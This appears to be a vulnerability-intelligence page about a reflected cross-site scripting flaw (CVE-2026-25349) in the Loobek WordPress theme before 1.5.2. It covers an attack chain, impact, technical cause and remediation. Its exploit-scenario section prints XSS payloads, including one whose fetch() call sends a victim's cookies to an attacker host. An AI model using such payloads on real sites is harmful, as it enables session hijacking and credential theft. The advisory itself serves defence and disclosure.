Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
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AccessCraft malicious URL with XSS payload
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DeliveryDistribute link to target user
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ExploitUser clicks link in browser
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ExecutionReflected XSS executes in victim's session
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PersistSteal cookies or session tokens
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ImpactRedirect to phishing page
Vulnerability Assessment
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CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Remote attacker crafts malicious URL containing XSS payload and sends to victim. Victim must click the link in Loobek versions before 1.5.2. No authentication required. Reflected XSS executes in victim's browser with access to session cookies and user data. |
| Impact | While a CVSS score and vector are not provided, the vulnerability is classified as Reflected XSS, which typically carries medium to high severity depending on context. The attack vector is likely network-based (since reflected XSS requires URL manipulation) and requires user interaction (clicking a malicious link), reducing the attack complexity. Reflected XSS is not typically included in CISA's Known Exploited Vulnerabilities (KEV) catalog unless actively exploited at scale, but proof-of-concept (POC) code for Reflected XSS is trivial to construct and widely available in public repositories. The real-world risk is substantial for users of Loobek who manage websites with authentication or sensitive user data, as attackers can steal session cookies, perform actions on behalf of logged-in users, or inject credential-harvesting forms. However, exploitation requires social engineering (convincing users to click a crafted URL), which is a limiting factor compared to zero-click exploits. The presence of a fix (version 1.5.2 or later) and active reporting via Patchstack indicate this is a legitimate, remediable vulnerability with moderate urgency for administrators. |
| Exploit ScenarioDerived | An attacker crafts a malicious URL such as https://victim-site.com/?page=<script>alert('xss')</script> or uses a more sophisticated payload to steal session cookies: https://victim-site.com/search?q=<img src=x onerror='fetch("https://attacker.com/steal?cookie="+document.cookie)'>, then distributes this link via email, social media, or phishing campaigns. When a logged-in administrator or user visits the link, the injected script executes in their browser within the context of the victim website, allowing the attacker to steal authentication tokens, modify page content, redirect to phishing pages, or perform unauthorized administrative actions. No POC exploit code availability is mentioned in the intelligence sources, but Reflected XSS exploits are trivial to craft and test locally. |
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Alert meAnalysisAIv1 – Mar 25, 2026
A Reflected Cross-Site Scripting (XSS) vulnerability exists in the skygroup Loobek theme (CWE-79: Improper Neutralization of Input During Web Page Generation) that allows attackers to inject malicious scripts into web pages viewed by users. The vulnerability affects Loobek versions prior to 1.5.2, as documented by Patchstack and tracked under ENISA EUVD ID EUVD-2026-15664. An attacker can craft a malicious URL containing unescaped input that, when clicked by a victim, executes arbitrary JavaScript in the victim's browser context, potentially leading to session hijacking, credential theft, or malware distribution.
RemediationAI
Upgrade the Loobek theme to version 1.5.2 or later immediately. Visit the Patchstack vulnerability database (https://patchstack.com/database/Wordpress/Theme/loobek/vulnerability/wordpress-loobek-theme-1-5-2-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve) for detailed patch information and update instructions. For environments where immediate patching is not feasible, implement a Web Application Firewall (WAF) rule to block requests containing common XSS payloads in query strings and URL parameters, enforce Content Security Policy (CSP) headers to restrict script execution sources, and educate site administrators and users to avoid clicking on untrusted external links pointing to their own domain. Additionally, ensure all WordPress core files and other plugins are kept up to date, and consider using a security plugin to monitor for suspicious activity and provide additional input validation.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
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Affects 1 package in euvd
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Technical ContextAI · show details
The vulnerability resides in the Loobek theme (cpe:2.3:a:skygroup:loobek:*:*:*:*:*:*:*:*), a WordPress theme component developed by skygroup. The root cause is CWE-79, which describes the failure to neutralize user-supplied input before it is output into dynamically generated web pages. In the context of a WordPress theme, this typically occurs when theme functions or template files directly output GET/POST parameters, URL query strings, or referrer headers without proper sanitization, escaping, or validation. The reflected nature of this XSS means the malicious payload is not stored in a database but travels through the URL or request itself, making it dependent on social engineering or link-injection attacks for successful exploitation. The theme's handling of user input in page generation routines—likely in theme hooks, template rendering, or custom shortcode handlers—fails to apply WordPress security functions such as esc_url(), esc_attr(), esc_html(), or wp_kses_post().
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Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
3DescriptionCVE.org
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in skygroup Loobek loobek allows Reflected XSS.This issue affects Loobek: from n/a through < 1.5.2.
Executive ViewAI
The Loobek theme contains a reflected XSS vulnerability (CVE-2026-25349) that allows attackers to execute arbitrary JavaScript in users' browsers through malicious URLs, creating risk of session hijacking and credential theft for any organization using affected versions. This client-side attack requires user interaction but poses direct risk to website visitors and staff, potentially compromising authentication and sensitive data access.
Vendor-released patch: Loobek version 1.5.2 or later. If immediate patching is not feasible: implement strict Content Security Policy headers to restrict inline script execution; deploy Web Application Firewall (WAF) rules to detect and block common XSS payloads in URL parameters; enforce HTTPS with Secure and HttpOnly cookie flags; conduct user education on avoiding suspicious links.
Threat Intelligence Overview
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SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
EUVD-2026-15664
GHSA-mj42-5g77-9x8h
NVD
CVE.org
EPSS
Vulnrichment
VulDB
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